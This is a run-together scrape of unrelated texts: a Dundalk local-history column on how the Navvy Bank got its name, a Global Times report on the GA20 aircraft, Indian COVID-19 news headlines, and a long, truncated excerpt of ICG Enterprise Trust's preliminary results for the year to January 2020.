people have asked me how did the embankment along the Castletown Estuary acquire this odd sounding name for an Irish seafront structure? Local historians Allan B. Swan and Harold O'Sullivan have written extensively on the development of the Port of Dundalk but neither of them have stated specifically where this name came from! The best explanation I have heard comes from Charlie McCarthy, retired Dundalk Harbour Commissioners' Boatman, who tells it was constructed by an engineer named McCormack from Bristol who brought men who had worked on building canals in England to build the structure and, according to local tradition, he had always referred to his men as 'Navvies'. The name 'Navvy' for men who built canals in the eighteenth and early nineteenth century comes from an abbreviation of the word 'navigator' who was a person that guided the path of the waterways (as well, ,of course, as the ordinary meaning of a person who steered a vessel). Many of these men, contrary to popular belief, were highly skilled stone masons and other tradesmen; not just labourers. Most of them came from Ireland from a time long before the deprivations of the Great Famine. I am sure that many of these men must also have come from the local area when the work started in 1840. Charlie tells me that the local tradition is that the stone for the facing of the embankment came from a quarry at Haggardstown, brought to the Dundalk quays by local farmers using horses and carts. I have also heard that much of the larger stones used for in-filling were dredged up from an ancient causeway that ran across the Estuary from Soldiers Point to a point east of Tippings Quay at Bellurgan. This causeway was known from the time of Tain story as Ath Lathan (the Broad Ford). Charlie was not able to confirm this story but it is true that the large boulders from it were removed from the bed of the river about this time. Padraic ua Dubhthaigh in his Book of Dundalk writes that in 1837 'The affairs of the Harbour were regularised by the passing of an Act (by the Westminster Parliament) providing for the election of Harbour Commissioners. Following this reform, an extensive scheme of improvement was entered into the design of Sir John MacNeill (the famous railway engineer who lived just across the river at Mount Pleasant House). This work included the building of an embankment from Soldiers Point to the Steampacket Quay (which came to be known as the Navvy Bank). The improvements occupied about eight years, from 1840 to 1848, and cost about 22,000.' Another piece of interesting information provided by Charlie McCarthy is that the land on which the Navvy Bank was constructed was leased to the newly formed Dundalk Harbour Commissioners in 1837 by the 3rd Earl of Roden, Robert Jocelyn. Charlie tells me that he has seen this lease and that one of the terms of it requires that 'the amenity should be available to the townspeople of Dundalk'. Another stipulation was that the Commissioners should erect public seating along the walkway and Charlie says that the Commissioners had maintained seven seats that are still there. The Harbour Commissioners were abolished about twenty years ago and the running of the Port given over to a new Port company. This company itself went out of existence about ten years ago and the running of the Port was handed over to the Dublin Port Authority. I do not know what authority now has the responsibility for the maintenance of the Navvy Bank but it may be the Louth County Council. There is a lot more I could write about the Navvy Bank and its importance to the Town of Dundalk but do not have the space this week. Hopefully, I will be around to return to its story at a later date. In the meantime, I trust that my readers will enjoy continued sunshine over the 'Lockdown' period. Chinese private aircraft company develops first general-purpose aircraft Global Times Source:Global Times Published: 2020/4/27 12:18:40 The GA20, the first self-developed general-purpose aircraft made by a Chinese private company, completed the maiden test flight to trial out its systems, and it also started supply chain procurement, according to a report by thepaper.com. Guanyi Aviation, a Shanghai-based private aircraft company said that its self-developed general-purpose aircraft GA20 completed the second test flight on April 25. After the test flight, the GA20 will fully start the global supply chain procurement to complete a series of aircraft assemblies, apply for safety certification from the authorities. The GA20 was solely developed and produced by the company, which was established in 2009 and has provided products or technical services for ARJ21, C919, MA60 / 600, MA700, AG600, Z15 and other important domestic civil aircraft models. The GA20 model was designed in 2015 in Nanchang, Jiangxi Province, and formally established in East China's Jiangxi Province. It took three years from project establishment, design, and testing to complete the first maiden flight. The GA20 is also China's first general aircraft with completely independent intellectual property rights developed by private enterprises. The prototype is a single-engine four-seat fixed-wing aircraft. It is China's first privately-owned general aviation aircraft with completely independent intellectual property rights to meet the minimum design requirements of the Civil Aviation Administration of China (CAAC), the Federal Aviation Administration (FAA) and the European Union Aviation Safety Agency (EASA). Qi Qi, an independent market analyst said that although four-seat planes are not the most challenging in terms of technical requirements, the private company's achievement can be meaningful if a high capacity production line can be established to produce the plane in mass quantity. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address Representational Image Assam, Meghalaya and Mizoram had 8, 11 and 1 Covid-19 cases respectively, and were waiting for them to test negative, Minister of State for Development of North Eastern Region (DoNER) Jitendra Singh said. Read more Here's more top news of the day: 1) Even As Plasma Therapy Shows Promise Against Covid-19, Govt Says It Is In Experimental Stage REUTERS The treatments using existing drugs too have thrown up mixed results. But so far the best result has been from plasma therapy, where the blood plasma of a patient who is recovered from COVID-19 was transferred to the body of another patient. Read more 2) After India Stopped Using 'Overpriced' Faulty Rapid Test Kits, China Calls It Irresponsible Act BCCL China has said that it was "deeply concerned" over the evaluation result of the COVID-19 rapid testing kits supplied to India by two Chinese companies which turned out to be faulty. Read more 3) The Silent Success Story Of Chhattisgarh On Combating COVID-19 Outbreak BCCL Over the past few weeks, several states have been hailed for their success in containing the spread of COVID-19. From Kerala to Goa, Manipur and Ladakh all have been celebrated for their success in arresting the outbreak. Read more 4) Once Branded 'Super Spreaders', Tablighi Members Are Now Donating Plasma For Covid-19 Treatment BCCL The tablighi members who were tested positive for coronavirus after an event in New Delhi which was attended by thousands, are now coming forward to donate their plasma for treatment of other patients. Read more 5) As Number Of COVID-19 Cases Spike, Govt Allows Patients With Mild Symptoms To Isolate At Home BCCL As the number of COVID-19 positive cases in India nears the 30,000 mark, the Union Health Ministry has allowed people who either have very mild symptoms or are in the pre-symptomatic phase to isolate at home. Read more 28 April 2020 ICG ENTERPRISE TRUST PLC Preliminary Results For the 12 months ended 31 January 2020 STRONG PORTFOLIO PERFORMANCE DELIVERS DOUBLE DIGIT GROWTH FOR THE YEAR Continued short, medium and long-term outperformance of public markets Performance to 31 January 2020 1 year 3 year 5 year 10* year Net asset value per share (total return) 11.2% 40.6% 85.0% 190.5% Share price (total return) 20.5% 49.1% 92.6% 286.1% FTSE All-Share Total Return 10.7% 18.4% 35.6% 111.2% *As the Company changed its year end in 2010, the ten-year figures are for the 121-month period to 31 January 2020. Highlights: NAV per share of 1,152p - total return of 11.2% 1 in the year Growth driven by strong EBITDA growth and realisation uplifts 11 th consecutive year of double-digit underlying Portfolio growth 16.6% 1 constant currency return from the investment Portfolio; 14.6% 1 return in sterling 17% average LTM earnings growth from Top 30 Companies; 46% of the Portfolio Strong period for realisations with selective new investment 149m of proceeds received, equivalent to 20% of opening portfolio value Realisations at 37% 1 uplift to carrying value; 2.4x 1 multiple to cost; consistent with five-year average uplift to carrying value; 2.4x multiple to cost; consistent with five-year average 159m of new investment; 39% into high conviction investments Four co-investments completed; one alongside ICG and three alongside third party managers 156m committed to 12 primary funds; five new relationships Portfolio well diversified - weighted towards larger companies and more resilient sectors Focus on defensive growth means Portfolio is weighted towards more resilient sectors, such as healthcare, consumer staples, business services and technology Portfolio is invested in larger companies in Europe and the US; bias to managers who have strong operational focus and demonstrable experience of successfully managing investments through economic cycles ICG managed investments now represents 22% of the Portfolio; invested across the capital structure in companies with resilient business models Impact of COVID-19 on Portfolio companies Situation is continually evolving, and we are working closely with our underlying managers, who have moved decisively to address immediate risks and implement plans to protect and preserve value We believe the diversified and resilient nature of the Portfolio is well placed to navigate the challenges ahead Performance and speed of recovery will vary between geographies, sectors and companies and will be dependent on business models, end markets and government policy Sharp decline in public markets and economic fall-out from COVID-19 likely to impact Net Asset Value in the short term The Net Asset Value at January 2020 is based on valuations which preceded the current crisis We expect recent falls in public markets and the broader consequences of COVID-19 to impact valuations in the coming months and we anticipate the rate of realisations from the Portfolio to slow We will provide shareholders with an update in the announcement of our NAV as at 30 April 2020 in June Balance sheet and liquidity Closing net asset value of 794m; investment portfolio represents 102% of net asset value 162m total liquidity (including 14m of cash and 148m undrawn bank facility); uncalled commitments of 459m of which 82m are to funds outside their investment periods New 176m (148m) bank facility signed during the year To provide increased flexibility, 40m was drawn from our bank facility in March, taking total gross cash balances to 56m at 23 April 2020 Annual dividend of 23p and buybacks Final dividend of 8p, taking total dividends for the year to 23p 4.5% increase on previous year and 2.4% yield on year end share price 3m of shares bought back in year; a further 1m purchased since the year end Oliver Gardey, Head of Private Equity Fund Investments, ICG, commented: The portfolio delivered strong underlying returns in the year, extending the record of double-digit growth to 11 consecutive years. We continued to deploy capital selectively into companies with strong defensive characteristics in sectors with non-cyclical growth drivers and build new relationships with leading managers both in the US and Europe. We are especially pleased with the progress made in increasing our portfolio weighting to the US in line with our long-term strategic objectives. While the current economic conditions are uncertain, our portfolio is weighted towards more resilient and defensive companies. We invest with leading managers in the US and Europe, focused on mid-market and larger buyouts, with a bias towards those with strong in-house operating teams and capital markets specialists. In the weeks since the COVID-19 crisis unfolded, we have seen some of the benefits of the private equity model, with managers acting quickly and decisively to preserve and protect value. We believe the private equity model is well suited to dealing with current market conditions and are confident that our managers will adapt to future events and continue to grow value. Our flexible mandate, and in particular our high conviction approach, allows us to be nimble and adapt the mix of new investment to evolving market conditions. While in the short term, we do not expect to see significant new investment activity, when markets stabilise we are well placed to benefit from more favourable entry valuations and take advantage of the opportunities as they arise. Finally, it goes without saying that a key priority for us is the wellbeing and safety of our staff; they are the most important part of our business and we have taken the necessary actions to protect our employees, as well as maintaining business continuity. Enquiries Analyst / Investor enquiries: +44 (0) 20 3201 7700 Oliver Gardey, Head of Private Equity Fund Investments, ICG Colm Walsh, Managing Director, Private Equity Fund Investments, ICG Ian Stanlake, Investor Relations, ICG Media: Alicia Wyllie, Co-Head of Corporate Communications, ICG +44 (0) 20 3201 7994 Ed Gascoigne Pees, Eddie Livingstone-Learmonth, Camarco +44 (0) 20 3757 4993 Website: www.icg-enterprise.co.uk Comparison to prior year 31 Jan 2020 31 Jan 2019 NAV per share 1,152p 1,057p Realisations in the 12 months 149m 163m Realisations uplift to carrying value 37% 35% Realisations multiple to cost 2.4x 2.4x Capital deployed 159m 158m % of Capital deployed into high conviction investments 39% 50% New primary fund commitments 156m 162m Notes Included in this document are Alternative Performance Measures (APMs). APMs have been used if considered by the Board and the Manager to be the most relevant basis for shareholders in assessing the overall performance of the Company, and for comparing the performance of the Company to its peers and its previously reported results. The Glossary includes further details of APMs and reconciliations to IFRS measures, where appropriate. The rationale for the APMs is discussed in detail in the Managers Review. In the Chairmans Statement, Managers Review and Supplementary Information, reference is made to the Portfolio. This is an APM. The Portfolio is defined as the aggregate of the investment portfolios of the Company and of its subsidiary limited partnerships. The rationale for this APM is discussed in detail in the Managers Review. The Glossary includes a reconciliation of the Portfolio to the most relevant IFRS measure. In the Chairmans Statement, Managers Review and Supplementary Information, all performance figures are stated on a total return basis (i.e. including the effect of re-invested dividends). ICG Alternative Investment Limited, a regulated subsidiary of Intermediate Capital Group plc, acts as the Manager of the Company. Disclaimer This report may contain forward looking statements. These statements have been made by the Directors in good faith based on the information available to them up to the time of their approval of this report and should be treated with caution due to the inherent uncertainties, including both economic and business risk factors, underlying such forward-looking information. These written materials are not an offer of securities for sale in the United States. Securities may not be offered or sold in the United States absent registration under the US Securities Act of 1933, as amended, or an exemption therefrom. The issuer has not and does not intend to register any securities under the US Securities Act of 1933, as amended, and does not intend to offer any securities to the public in the United States. No money, securities or other consideration from any person inside the United States is being solicited and, if sent in response to the information contained in these written materials, will not be accepted. CHAIRMANS STATEMENT The year to 31 January 2020 was another strong period of double-digit growth for ICG Enterprise Trust, with NAV per share increasing from 1,057p to 1,152p, an 11.2% total return, ahead of the FTSE All-Share Total Return of 10.7%. Performance was again driven by strong underlying trading and realisations at significant uplifts to carrying value and cost. Since our year end, the spread of COVID-19 has dramatically altered the economic and investment landscape. We cover the potential short to medium term impact of this global pandemic on the Portfolio later in my statement and in the Managers Review. Delivering on our strategic goals We made further progress towards our strategic goals of becoming more fully invested, increasing our weighting towards high conviction investments and extending our geographical diversification. Over the last three years, we have reduced the impact of cash drag on performance by becoming more fully invested without compromising the quality of the Portfolio2. This has been achieved without being any less selective and with a focus on investing responsibly, leveraging ICGs strong Environmental, Social and Governance (ESG) credentials. Our flexible mandate has meant that we have been able to increase the capital deployed into our high conviction portfolio, which remains a significant driver of growth. These are investments the team has proactively decided to increase exposure to, either by individual co-investments alongside third party managers, proprietary investments managed by ICG or secondary fund holdings. Our high conviction portfolio has generated a return of 19% p.a.3 in local currencies over the last five years. We expect these investments to continue to enhance the strong returns generated from our third-party funds portfolio, which underpins our strategy, and has returned 14% p.a. in local currency over the last five years. During the year, 39% of total capital deployed was into high conviction investments, which represent 41% of the Portfolio. In addition, we continue to diversify geographically with our US investments now representing 30% of the Portfolio, overtaking our exposure to the UK market for the first time. The US is the largest private equity market in the world, with a deep pool of leading private equity managers who have long track records of outperformance. We expect our weighting to the US market to continue to grow. The importance of investing responsibly Responsible investing remains a key focus for our investment team, who continue to work closely with ICGs ESG team to ensure that our investment programme is compatible with our ESG framework. The Board believes that the long-term success of the Company requires the effective management of both financial and non-financial measures, and fully endorses the increasing emphasis on responsible investment. We believe that companies that are successful in managing ESG risks, while embracing opportunities, will outperform over the long term. Continued investment in the ICG Enterprise team ICG has continued to invest in the development of the team, and we now have 14 people managing the Portfolio and overseeing the finance, legal and investor relations functions of the Company. In September Oliver Gardey joined ICG and the Investment Committee to lead the investment team, succeeding Emma Osborne. Emma remains on the investment committee as a Senior Adviser. Oliver has over 25 years experience in the private equity industry, joining ICG from Pomona Capital, where he was a partner for 10 years and a member of its global investment committee. The strength of Olivers experience, alongside that of our existing team, will be of great value to the Company and to our focus on delivering consistently strong returns. We are delighted with the smooth transition and the leadership that he has demonstrated since his appointment. Colm Walsh, who has been a key team member for 10 years, also joined the investment committee during the year. Board evolution Jane Tufnell and Gerhard Fusenig joined the Board in the year. The Board currently comprises six independent non-executive Directors, with a diverse range of skills and expertise, and an equal ratio of men and women. We expect to appoint one new Director during this year, and we will continue to evolve the Board and make further appointments, as appropriate. Further details of the Board are set out in our Annual Report. This is my last year as your Chairman as I will step down from the Board at the AGM, having been a director since 2008. The Nominations Committee, led by the Senior Independent Director, undertook a rigorous search for my successor and recommended Jane Tufnell becomes your new Chair. Jane has a wealth of experience working in financial services, asset management and with listed companies and we are delighted that she has agreed to accept this appointment. It has been a privilege to serve as your Chairman and I know I am leaving the Company in extremely capable hands. Dividend The Company reported another strong set of results for the 12 months to 31 January 2020, and while there is limited visibility on the impact of COVID-19 on the Portfolios performance this financial year, the Board is proposing a final dividend of 8p, which, together with the three interim dividends of 5p each, will take total dividends for the year to 23p. This is a 4.5% increase on the prior year dividend of 22p and a 2.4% yield on the year-end share price. The Board recognises the importance of a reliable source of income for our shareholders. Annual General Meeting The Annual General Meeting will be held on 17 June 2020. The Board is mindful of the current travel and social gathering restrictions arising from the COVID-19 pandemic and will be communicating with shareholders outlining the format of the meeting, with the Notice of Meeting, in the coming weeks. Impact of COVID-19 pandemic on the Portfolio and performance The economic impact of COVID-19 is likely to become more apparent over the coming months and it is impossible to gauge the long term impact on the Portfolio accurately at this stage. What we know today is that companies across the globe are being impacted by the significant reduction in economic activity, and while it is too early to assess the depth and duration of this impact, we expect major economies to experience large-scale economic contractions in the first half of 2020. Performance and the speed of any recovery will vary between geographies, sectors and companies and will be dependent on business models, end markets and government policy. In the short term, we expect the sharp fall in public markets and broader immediate consequences of COVID-19 to impact valuations and slow the rate of realisations from the Portfolio. Beyond the short term, we have a well-diversified global Portfolio that is invested in developed economies and weighted towards more resilient sectors, such as healthcare, consumer staples, business services and technology. Our Portfolio also has a bias to managers who have a strong operational focus and demonstrable experience of successfully managing investments through periods of economic stress. Our managers have moved decisively to address immediate risks and are implementing plans to protect and preserve long term value. Well placed to navigate the current challenging environment I joined the Board in 2008, just prior to the financial crisis. At the time, the Companys net assets stood at 327m, invested in a predominantly UK and European portfolio. Since then we have grown our net assets to 794m and returned 127m to shareholders, a 166% total return over the 12 years, well ahead of the 93% total return from the FTSE All-Share. Over the same period our share price total return has been 157%. We are again facing an incredibly challenging environment. With 11 consecutive years of double-digit growth, we do this from a base of consistently strong returns. We have a diversified global portfolio of market leading companies, led by expert management teams and supported by some of the worlds best private equity managers. We have significant financial resources available to us and substantial expertise within our investment team and, more broadly, ICG has a long track record of managing private companies through multiple financial and economic cycles. Just as we did in the financial crisis, I am confident that we will manage and protect shareholder value through the current challenging environment and are well placed to continue to generate value for our shareholders over the longer term. Jeremy Tigue 27 April 2020 MANAGERS REVIEW Performance overview The potential for COVID-19 to cause widespread disruption was not evident at our year end date. The valuation of the Portfolio at 31 January 2020 was therefore not negatively impacted by COVID-19 and does not reflect the subsequent stock market falls in late February and early March. Profit growth and realisations drive the 11th consecutive year of double-digit underlying growth Continued strong operating performance and realisations at significant uplifts to carrying value generated a return of 16.6% in local currencies, or 14.6% in sterling. These results represent the 11th consecutive year of double-digit underlying portfolio growth, over which time period the Portfolio return has averaged 16% p.a. in local currencies. All parts of the Portfolio performed well and contributed to growth in the year, with particularly strong performance from our US, co-investment and ICG portfolios, with growth driven by a combination of strong trading performance, realisations, IPOs and movements in quoted share prices. Within our high conviction portfolio, notable contributors include three US co-investments: PetSmart (a leading US pet retailer), which successfully listed its online business, Chewy; Abode Healthcare (a provider of at-home hospice care), which was sold during the year at 2.0x cost and a gross IRR of 69%; and Ceridian (a human capital management software provider), which was listed in 2018 and whose share price increased by almost 80% in the year taking the return to 4.6x cost. In addition, three of our recent co-investments alongside ICGs flagship European strategy (Domus, Minimax and Visma) all outperformed the wider portfolio following strong underlying growth. Outside of our high conviction portfolio, Gridiron III, a US mid-market fund which is currently our second largest fund holding by value, reported significant gains in the year, with one of its portfolio companies, Leaf Home Solutions, driving a significant proportion of the gain. This follows exceptionally strong trading performance. The business, which provides gutter protection solutions that reduce the requirement for homeowners to clear gutters, is considered one of the fastest growing home maintenance companies in the US. Year ended Year ended Movement in the portfolio 31 Jan 31 Jan m 2020 2019 Opening Portfolio* 694.8 600.7 Third party funds portfolio drawdowns 97.4 79.2 High conviction investments ICG funds, secondary investments and co-investments 61.2 78.4 Total new investment 158.6 157.6 Realisation Proceeds (148.8) (163.0) Net cash outflow/(inflow) 9.8 (5.4) Underlying Valuation Movement** 115.4 90.4 Currency movement (13.6) 9.1 Closing Portfolio* 806.4 694.8 % underlying Portfolio growth (local currency) 16.6% 15.0% % currency movement (2.0%) 1.6% % underlying Portfolio growth (Sterling) 14.6% 16.6% * Refer to the Glossary for reconciliation to the portfolio balance presented in the preliminary results. ** 95% of the Portfolio is valued using 31 December 2019 (or later) valuations (Jan 19: 91%). Portfolio overview High conviction investments underpinned by a portfolio of leading funds Our strategy is focused on investing in larger companies, those with leading market positions and strong management teams as we believe they will generate the most consistently strong returns through the cycle. Our Portfolio combines investments managed by ICG and those managed by third parties, in both cases directly and through funds, and at 31 January 2020 the Portfolio was valued at 806m (31 Jan 19: 695m). Third party funds were valued at 477m (31 Jan 19: 407m) providing the Portfolio with a base of strong diversified returns and also deal flow for our high conviction portfolio. The underlying funds are managed by leading mid-market and large-cap European and US private equity firms, with a bias to managers who have a strong defensive growth and operational focus. Over the last five years this portfolio has generated a net return of 14% p.a. in local currencies. High conviction investments were valued at 329m (31 Jan 19: 288m). The common characteristic of our high conviction investments is that ICG selects the underlying companies, in contrast to a conventional fund of funds in which third party managers make all the underlying investment decisions. Our high conviction portfolio allows us to proactively increase exposure to companies that benefit from long term structural trends, those which we believe would be more resilient in an economic downturn. We are able to enhance returns and increase visibility on underlying performance drivers, and we mitigate the more concentrated risk through a highly selective approach and our focus on defensive growth companies. Over the last five years, high conviction investments have generated a net return of 19% p.a. in local currencies and we have a strategic goal to increase the weighting to these investments towards 50% - 60% of the overall Portfolio. 31 Jan 2020 31 Jan 2019 Investment category % of Portfolio % of portfolio High conviction investments ICG managed investments 22 20 Third party co-investments 14 16 Third party secondary investments 5 5 Total High conviction investments 41 41 Third party funds portfolio Third party primary funds Total diversified fund investments 59 59 59 59 Total 100 100 Top 30 companies performed well in the year, dominated by high conviction investments and defensive growth companies Our largest 30 companies (Top 30 Companies) represent 46% of the Portfolio by value (31 Jan 19: 46%), and are weighted towards our high conviction investments, which make up 71% of the Top 30 Companies by value (31 Jan 19: 70%). During the year, the Top 30 Companies performed well, reporting average LTM earnings growth of 17% and revenue growth of 12%. It is particularly encouraging that a quarter of these companies generated LTM earnings growth in excess of 20% in the year, driven by both organic growth and M&A activity. The valuation multiples of the Top 30 Companies increased from 10.9x to 11.7x, a reflection of the change of mix and weightings, rather than an increase in aggregate multiples overall. The net debt/EBITDA ratio remained relatively unchanged at 4.1x, although mix and weightings also had an impact with the majority of companies de-levering in the year on a like-for-like basis. As we look across the Portfolio, the growth and valuation trends are similar Since the year end the economic landscape has altered dramatically. In the 71% of the Top 30 Companies portfolio which are high conviction investments, there is a strong bias towards investments in sectors which have defensive characteristics. This includes a number of recent co-investments in sub-sectors such as software and packaging which continue to perform well even in the current climate. We also believe that our investments alongside ICG will, in addition to having defensive business models, benefit from being structured to provide downside protection. This makes these investments less sensitive to short term earnings or valuation pressure compared to a conventional buyout deal structure. Performance in the current environment will vary between sector and company, and, while our underlying portfolio companies are not immune to the impact of a global pandemic, we believe that the vast majority of our Top 30 Companies are well placed to weather the current uncertainty and take advantage of any recovery. Three of our Top 30 Companies are quoted, and it is worth noting that two of these have increased in value since 31 January 2020 with Chewy and TeamViewer's share price increasing by 64%, and 29% respectively4. The third, Ceridian, has declined since the onset of the crisis, however, more than a third of our January holding was sold at a premium to the January valuation in February 2020. Realisations5 Continued strong realisation activity at significant uplifts to carrying value and cost Realisations continued at a healthy level during the year with 141m6 of cash being generated from the Portfolio. Although lower than the historical highs of the two previous years, at 20% of the opening Portfolio it is in line with our 10 year average. The realisation of 48 companies completed at an average uplift of 37%7 to the previous carrying value, which is consistent with the long-term trend of significant uplifts being generated when companies are sold. The average return multiple of 2.4x cost was also strong, reflecting a number of highly successful investments realised in the year, with 40% by number being sold for at least 2.5x cost. Over the last five years exits have averaged 33% uplift to carrying value and a multiple of 2.3x cost. The largest realisation in the year came from our co-investment in Froneri and its associated fund PAI V which together generated 18m of proceeds. This fund, which has performed extremely well, had two assets remaining with strong prospects but was coming to the end of its term. PAI therefore offered investors the opportunity to realise their holdings in these companies or reinvest into a new vehicle, PAI Strategic Partnerships, giving more time to maximise the potential from these companies. Given the continued strong performance of Froneri and its future prospects, we decided to re-invest the majority of the proceeds into the new transaction ensuring the company remains in our Top 30 Companies. The public market listing of technology investments was a strong source of underlying valuation gains and proceeds with 15% of amounts received arising from sales of listed shareholdings. The partial sell down of human capital management software provider Ceridian by Thomas H Lee was the largest contributor with 11m being returned in the year, mainly from our co-investment. Permiras successful listing of remote support software provider TeamViewer was also a significant contributor both in terms of proceeds (2m) and gain in the year, with the investment being written up to 13.6x cost as at 31 January 2020, based on the closing share price at this date. Both of these companies are in our Top 30 Companies at the year-end. In addition to sales by our underlying managers, we completed a secondary sale of one of our third party fund holdings at a premium to the GPs valuation, which generated a further 8m of proceeds. We also completed the sale of two more holdings, at premiums to the most recent valuation, shortly after the year-end generating another 5m. These transactions highlight our active approach to managing the Portfolio and we will continue to pursue further sales opportunistically, taking advantage of our in-house secondary market expertise. From our largest 30 underlying companies at the start of the year, two were fully realised: Atlas for Men from the third party funds portfolio and Abode Healthcare from the co-investment portfolio, both of which generated strong returns. In addition, our investment in Visma was partially realised, with our co-investment managed by Cinven realised, generating a 2.5x return. We still retain an interest in this company via an ICG fund holding and co-investment from a later transaction. New investments Selective new investment We invested 159m in the year, broadly in line with the 158m of new investment in the year to January 2019. 39% of new investment was into our high conviction portfolio, down from 50% in the year to January 2019. While we had a similar volume of opportunities compared to the prior year, we executed fewer co-investments, given our cautious stance on valuation multiples being paid for acquisitions. We completed three US co-investments and the Froneri secondary transaction, totalling 35m and one co-investment alongside ICG (10m). Co-investments have always been a feature of our strategy and have outperformed both primary and secondary investments over the short and long term, generating a local currency return of 21% p.a. over the last five years. Our focus remains on defensive growth businesses with high cash flow conversion which have demonstrated resilience to economic cycles. The co-investments made in the year were: DOC Generici is a leading independent generic pharmaceutical company and the third largest company in the Italian pharmaceutical market. It is active in the supply of drugs for the treatment of all the common medical conditions with a strong presence in areas including cardiovascular, gastrointestinal, metabolism and neurological treatments. We invested 12m in this company. is a leading independent generic pharmaceutical company and the third largest company in the Italian pharmaceutical market. It is active in the supply of drugs for the treatment of all the common medical conditions with a strong presence in areas including cardiovascular, gastrointestinal, metabolism and neurological treatments. We invested 12m in this company. Berlin Packaging, provider of global packaging services with a focus on the food and healthcare industries in which we invested 9m alongside Oak Hill Capital Partners. The company provides its clients with a fully integrated service to design, finance and commission packaging. It is the number one distributor of rigid packaging in North America operating in a $7bn core addressable market. It has a strong financial track record and a highly cash generative business model with demand that has proved resilient through the cycle. provider of global packaging services with a focus on the food and healthcare industries in which we invested 9m alongside Oak Hill Capital Partners. The company provides its clients with a fully integrated service to design, finance and commission packaging. It is the number one distributor of rigid packaging in North America operating in a $7bn core addressable market. It has a strong financial track record and a highly cash generative business model with demand that has proved resilient through the cycle. VitalSmarts , a US provider of on-line and in-person leadership training, our second co-investment alongside Leeds Equity Partners, in which we invested 8m. Both the manager and company have an excellent track record in corporate education and the deal dynamics at entry were attractive in terms of both entry multiple and the companys capital structure. The company has worked with over 300 of the Fortune 500 companies and has a highly diversified income base. , a US provider of on-line and in-person leadership training, our second co-investment alongside Leeds Equity Partners, in which we invested 8m. Both the manager and company have an excellent track record in corporate education and the deal dynamics at entry were attractive in terms of both entry multiple and the companys capital structure. The company has worked with over 300 of the Fortune 500 companies and has a highly diversified income base. RegEd is a leading provider of regulatory compliance software services, primarily to broker-dealers, insurance companies and banks in the United States. The companys customers include over 200 blue-chip customers including 80% of the top 25 financial services firms in the US. We invested 5m in RegEd alongside a new US manager, Gryphon Investors. We expect RegEd to benefit from a number of favourable trends as its clients transition towards greater automation and less reliance on manual processes. All of these companies have defensive business models. Additionally, DOC Generici features a combination of subordinated debt and equity investments giving an element of structural downside protection, a consistent feature of many of our investments with ICG. 12 new fund commitments to both existing and new manager relationships We completed 12 new primary fund commitments in the year totalling 156m. 11 of these were to third party managers. Of these third party fund commitments, six were raised by managers we have backed successfully before: two European funds (IK and Cinven), two global funds (Advent and Permira), and two US funds (Oak Hill and Gridiron). We also made a commitment to ICG Europe Mid-Market Fund, ICGs latest European fund. The managers we back tend to raise funds that are oversubscribed and therefore difficult to access, and the calibre of these managers speaks to the relationships that we have built with these firms over many years. A key area of focus in our selection and due diligence process relates to the performance of managers during periods of significant financial stress. We also added five new manager relationships, of which three are focused on the US mid-market (AEA, Gryphon Investors and Charlesbank) and two are focused on the European market (Carlyle Europe and Investindustrial). Since the move to ICG we have built many new relationships with US managers and they have been a key source of co-investment and secondary deal flow in addition to the in-house deal flow that ICG has given the Company access to. As a result, the Portfolio is increasingly geographically diverse; of our 29 core manager relationships, 12 are US managers and we have successfully increased our US exposure to 30% of the portfolio. Over the medium term we expect our weighting to the US market to further increase to up to approximately 40% of the Portfolio. Portfolio analysis8 Focus on mid-market and large cap companies The Portfolio is biased towards mid-market (42%) and large deals (46%) which we view as more defensive than smaller deals, benefiting from stronger management teams and often market leading positions. Portfolio increasingly focused on international markets The Portfolio is focused on developed private equity markets, primarily continental Europe (37%), the US (30%) and the UK (27%). Investments in the Asia Pacific region represent 6% of value, which is primarily in developed Asian markets such as South Korea and Singapore through ICGs Asia Pacific subordinated debt and equity team. We have minimal emerging markets exposure. In line with one of our strategic objectives, our weighting to the US has increased from 14% at the time of the move to ICG in 2016. Over the same period, the UK bias has reduced from 45%. Portfolio bias towards sectors with defensive growth characteristics The Portfolio is weighted towards more resilient sectors, such as healthcare, technology and business services. 23% of the Portfolio is invested in healthcare (17%) and education (6%), with the remainder of the portfolio broadly spread across the industrial (16%) business services (15%), consumer goods and services (15%) and technology (14%) sectors. The company has a lower exposure to the leisure (8%) and financial (5%) sectors. Within our exposure to the consumer and industrial sectors, we have a bias to companies with more defensive business models with non-cyclical growth drivers and high recurring revenue streams. Well-balanced vintage year exposure Our vintage year exposure is balanced with 44% of the Portfolio invested in transactions completed in 2016 or earlier, and 56% of the value in investments made in 2017 or later. Balance sheet and financing Efficient balance sheet with good liquidity There was net investment of 10m into the Portfolio during the period, and, after allowing for dividends and expenses, the outstanding cash balance fell to 14m (2019: 61m). At the year end the Portfolio represented 102% of net assets, an increase from 95% at 31 January 2019. m 31 Jan 2020 31 Jan 2019 Portfolio* 806 695 Cash 14 61 Net obligations (26) (25) Net assets 794 731 Portfolio as % of net assets 101.6% 95.0% * Refer to the Glossary for reconciliation to the portfolio balance presented in the preliminary results and definition of net obligations. At 31 January 2020, we had uncalled commitments of 459m, against which we had available liquidity of 162m (including 148m of undrawn bank line). Of these uncalled commitments, 82m were to funds outside their investment period. In managing the Companys balance sheet our objective is to be broadly fully invested through the cycle. We do not intend to be geared for long periods of time. Outstanding commitments tend to be substantially drawn down over a four to six-year period with approximately 10%15% retained at the end of the investment period to fund follow-on investments and expenses. If outstanding commitments were to follow a linear drawdown rate to the end of their respective remaining investment periods, we estimate that approximately 85m would be called over the next 12 months. However, it is important to note that in previous periods of economic and financial market distress, drawdown rates from underlying funds slowed materially. During the year we strengthened the Companys financial position by agreeing a new bank facility of 176m (148m), which matures in two equal tranches in April 2021 and April 2022. Our anticipation is that economic impact from COVID-19 will result in the rate of realisations from the Portfolio slowing and this enlarged facility gives us greater flexibility. Since the year end, we have drawn 40m from our facility, taking our gross cash balances to 56m at 23 April 2020. We have sufficient headroom within our facilitys covenants and are well placed to manage the Portfolio cash flows. As demonstrated by the secondary sales completed in the year, we also have a Portfolio that attracts strong demand in the secondary market and continue to be active in this market. m 31 Jan 2020 31 Jan 2019 Outstanding commitments 459 411 Total available liquidity (including facility) (162) (164) Overcommitment (including facility) 297 247 Overcommitment % of net asset value 37% 34% Activity since the year-end Since the year-end, the Portfolio has continued to generate cash proceeds. In total 25m of distributions have been received in the two months to 31 March 2020 and we have paid 19m of capital calls. We committed 10m to Apax X, a global buyout fund, focused on the Technology & Telecoms, Services, Healthcare, and Consumer sectors. We also committed $5m to Hg Saturn 2, a new strategy with an existing European mid-market manager. Outlook We are working closely with our managers to understand both the immediate and potential future impact of the COVID-19 pandemic, and its economic fallout, on the performance of our portfolio 